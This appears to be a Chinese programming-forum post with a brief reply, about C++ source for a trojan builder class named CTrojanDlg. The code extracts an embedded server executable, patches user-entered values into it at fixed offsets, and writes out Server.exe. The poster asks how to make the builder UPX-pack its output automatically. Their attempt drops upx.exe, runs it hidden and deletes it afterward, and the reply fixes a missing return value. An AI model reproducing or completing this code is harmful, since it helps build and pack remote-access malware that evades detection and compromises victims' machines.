BOOL CTrojanDlg::server()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit.GetBuffer(m_edit.GetLength()));
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,15);
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));
CopyMemory((LPVOID)(p+0x003D6),(LPCVOID)a,5);
HANDLE greate1=CreateFile("Server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}BOOL CTrojanDlg::UXP()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE2),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit.GetBuffer(m_edit.GetLength()));
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,15);
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));
CopyMemory((LPVOID)(p+0x003D6),(LPCVOID)a,5);
HANDLE greate1=CreateFile("Server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}
------------------------------------------------大家可以看到这2个源码是一样的,
如何修改下面这个代码,就是UPX压缩模式啊
就是让他生成出来就是加壳的,,,
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit.GetBuffer(m_edit.GetLength()));
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,15);
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));
CopyMemory((LPVOID)(p+0x003D6),(LPCVOID)a,5);
HANDLE greate1=CreateFile("Server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}BOOL CTrojanDlg::UXP()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE2),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit.GetBuffer(m_edit.GetLength()));
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,15);
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));
CopyMemory((LPVOID)(p+0x003D6),(LPCVOID)a,5);
HANDLE greate1=CreateFile("Server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}
------------------------------------------------大家可以看到这2个源码是一样的,
如何修改下面这个代码,就是UPX压缩模式啊
就是让他生成出来就是加壳的,,,
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize,dwWritten;
LPBYTE p;
HANDLE hFile;
// 查找所需的资源
hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE2),"EXE");
if(hResInfo == NULL) return;
// 获得资源尺寸
dwSize = SizeofResource(NULL,hResInfo);
// 装载资源
hResData = LoadResource(NULL,hResInfo);
if(hResData == NULL) return;
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL) return;
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
char Path[256];
GetCurrentDirectory(256, Path);
strcat(Path,"\\upx.exe");
DeleteFile(Path);
hFile = CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if(hFile == NULL) return;
WriteFile(hFile,(LPVOID)p,dwSize,&dwWritten,NULL);
CloseHandle(hFile);
ShellExecute(this->m_hWnd,"open",Path,"NB_Server.exe","",SW_HIDE);
BOOL del;
do
{
del = DeleteFile(Path);
} while(!del);
}
--------------------------
这个是我重写的 不过出错了
这里是出错信息
-----------------------
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(237) : error C2561: 'UXP' : function must return a value
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(242) : error C2561: 'UXP' : function must return a value
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(245) : error C2561: 'UXP' : function must return a value
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(254) : error C2561: 'UXP' : function must return a value
C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
Error executing cl.exe.Trojan.exe - 4 error(s), 0 warning(s)
函数必须有返回值。
加个return TRUE;